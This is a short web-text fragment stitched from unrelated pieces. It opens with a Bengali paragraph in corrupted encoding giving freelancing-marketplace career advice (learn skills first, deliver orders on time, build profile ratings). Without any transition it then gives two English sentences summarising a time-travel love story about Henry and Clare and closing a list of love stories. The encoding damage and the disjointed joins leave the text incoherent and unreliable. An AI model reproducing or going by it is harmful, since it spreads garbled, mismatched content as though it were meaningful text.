āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়āϤে āĻšāϞে āĻ…āĻŦāĻļ্āϝāχ āφāĻ—ে āĻ­াāϞোāĻ­াāĻŦে āĻ•াāϜ āĻļিāĻ–ে āύিāϤে āĻšāĻŦে। āφāĻĒāύি āϝāĻĻি āĻ­াāϞোāĻ­াāĻŦে āĻ•াāϜ āύা āĻļিāĻ–েāχ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•াāϜ āĻ•āϰāϤে āϜাāύāϤে āĻšāϞে āĻ•āĻ–āύোāχ āĻ­াāϞো āĻ•āϰāϤে āĻĒাāϰāĻŦেāύ āύা। āϤাāχ āĻĒ্āϰāĻĨāĻŽে āϝেāĻ•োāύো āĻŦিāώāϝ়ে āύিāϜেāĻ•ে āĻāĻ•্āϏāĻĒাāϰ্āϟ āĻ•āϰে āύিāϤে āĻšāĻŦে āĻāϰāĻĒāϰে āϧীāϰে āϧীāϰে āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•াāϜ āĻļুāϰু āĻ•āϰāϤে āĻšāĻŦে। āĻ•াāϜেāϰ āĻ…āϰ্āĻĄাāϰ āύেāĻ“āϝ়াāϰ āĻĒাāĻļাāĻĒাāĻļি āĻ…āĻŦāĻļ্āϝāχ āϏāĻŽāϝ়েāϰ āĻŽāϧ্āϝে āĻ•াāϜ āϜāĻŽা āĻĻিāϤে āĻšāĻŦে। āĻĒ্āϰāĻĨāĻŽে āύিāϜেāϰ āĻĒ্āϰোāĻĢাāχāϞেāϰ āϰেāϟিং āĻĒāϝ়েāύ্āϟ āĻ—ুāϞো āĻŦাāĻĄ়িāϝ়ে āύিāϤে āĻšāĻŦে।
This unique love story chronicles the relationship between Henry, who involuntarily travels through time, and Clare, who must navigate the challenges of loving someone who cannot control when he is present.






These stories vary in tone and theme but all center around the complexities and beauty of love, making them memorable and touching.